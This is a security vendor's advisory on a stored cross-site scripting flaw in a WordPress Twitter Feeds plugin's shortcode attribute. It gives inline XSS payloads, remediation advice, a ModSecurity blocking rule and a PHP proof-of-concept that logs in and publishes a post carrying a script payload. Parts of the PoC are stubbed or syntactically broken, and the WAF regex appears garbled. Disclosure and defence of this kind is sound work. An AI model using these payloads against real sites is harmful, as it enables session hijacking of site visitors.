Atomic Edge analysis of CVE-2026-1911 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Twitter Feeds WordPress plugin, version 1.0.0. The vulnerability exists in the plugin’s ‘TwitterFeeds’ shortcode handler, specifically within the ‘tweet_title’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts that execute when any user views a page containing the compromised shortcode.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping. The plugin likely receives user-supplied input via the ‘tweet_title’ shortcode attribute, stores it in the database without proper sanitization, and later outputs it without adequate escaping. This inference stems directly from the CWE-79 classification and the vulnerability description, which explicitly cites insufficient input sanitization and output escaping. Without access to source code, Atomic Edge cannot confirm the exact vulnerable function calls, but the pattern matches common WordPress shortcode handling vulnerabilities where attributes bypass standard sanitization functions.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post or page, inserting the vulnerable shortcode with a malicious ‘tweet_title’ attribute payload. A typical payload would be: [TwitterFeeds tweet_title=”alert(document.domain)”] or an attribute-based vector like [TwitterFeeds tweet_title=”” onmouseover=”alert(1)”]. The payload is stored in the post content. When any visitor or administrator loads the page containing the shortcode, the malicious script executes in their browser context.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘tweet_title’ attribute value using functions like `sanitize_text_field()` during shortcode attribute processing. It must also escape the output using `esc_attr()` when echoing the attribute within HTML, or `wp_kses()` for more complex HTML contexts. A patch would involve modifying the shortcode callback function to apply these security measures before storing and displaying the data.
The impact includes session hijacking, malicious redirects, and defacement. Since the vulnerability is stored XSS, a single injection affects all users viewing the compromised page. Attackers can steal session cookies, manipulate page content, or perform actions on behalf of authenticated users. The CVSS vector indicates scope change (S:C), meaning exploitation can affect components beyond the vulnerable plugin’s security scope, potentially compromising the entire WordPress site.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1911 (metadata-based)
# This rule blocks exploitation attempts targeting the vulnerable 'tweet_title' shortcode attribute.
# The rule matches POST requests to WordPress's post editor where the content contains
# the TwitterFeeds shortcode with suspicious attribute values.
SecRule REQUEST_URI "@rx ^/wp-admin/(post.php|admin-ajax.php)"
"id:1911001,phase:2,deny,status:403,chain,msg:'CVE-2026-1911: Twitter Feeds XSS via tweet_title attribute',severity:'CRITICAL',tag:'CVE-2026-1911',tag:'wordpress',tag:'plugin',tag:'xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx [TwitterFeeds[^]]*tweet_titles*=s*['"][^'"]*[<>"']"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1911 - Twitter Feeds <= 1.0.0 - Authenticated (Contributor+) Cross-Site Scripting via 'tweet_title' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-1911
* Assumptions:
* 1. Target site has Twitter Feeds plugin v1.0.0 installed.
* 2. Attacker has valid Contributor-level credentials.
* 3. The plugin's shortcode handler is registered as 'TwitterFeeds'.
* 4. The 'tweet_title' attribute is vulnerable to stored XSS.
*/
$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: Basic XSS proof-of-concept
$malicious_title = '"><script>alert(`Atomic Edge XSS: ${document.domain}`)</script>';
$shortcode = '[TwitterFeeds tweet_title="' . $malicious_title . '"]';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check login success by attempting to access admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 0);
$admin_check = curl_exec($ch);
if (strpos($admin_check, 'id="wpbody-content"') === false) {
die('Login failed. Check credentials.');
}
// Create a new post with the malicious shortcode
$post_title = 'Test Post - CVE-2026-1911 PoC';
$post_content = 'This post contains the malicious shortcode: ' . $shortcode;
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => $this->extract_nonce($admin_check), // Placeholder - real PoC would extract nonce
'_wp_http_referer' => $target_url . '/wp-admin/post-new.php',
'user_ID' => $this->extract_user_id($admin_check), // Placeholder
'action' => 'editpost',
'post_status' => 'publish'
]));
$post_response = curl_exec($ch);
curl_close($ch);
// Helper functions (conceptual - require actual implementation)
// function extract_nonce($html) { ... }
// function extract_user_id($html) { ... }
echo 'PoC executed. If successful, the post contains the malicious shortcode.';
echo 'Visit the published post to trigger the XSS payload.';
?>
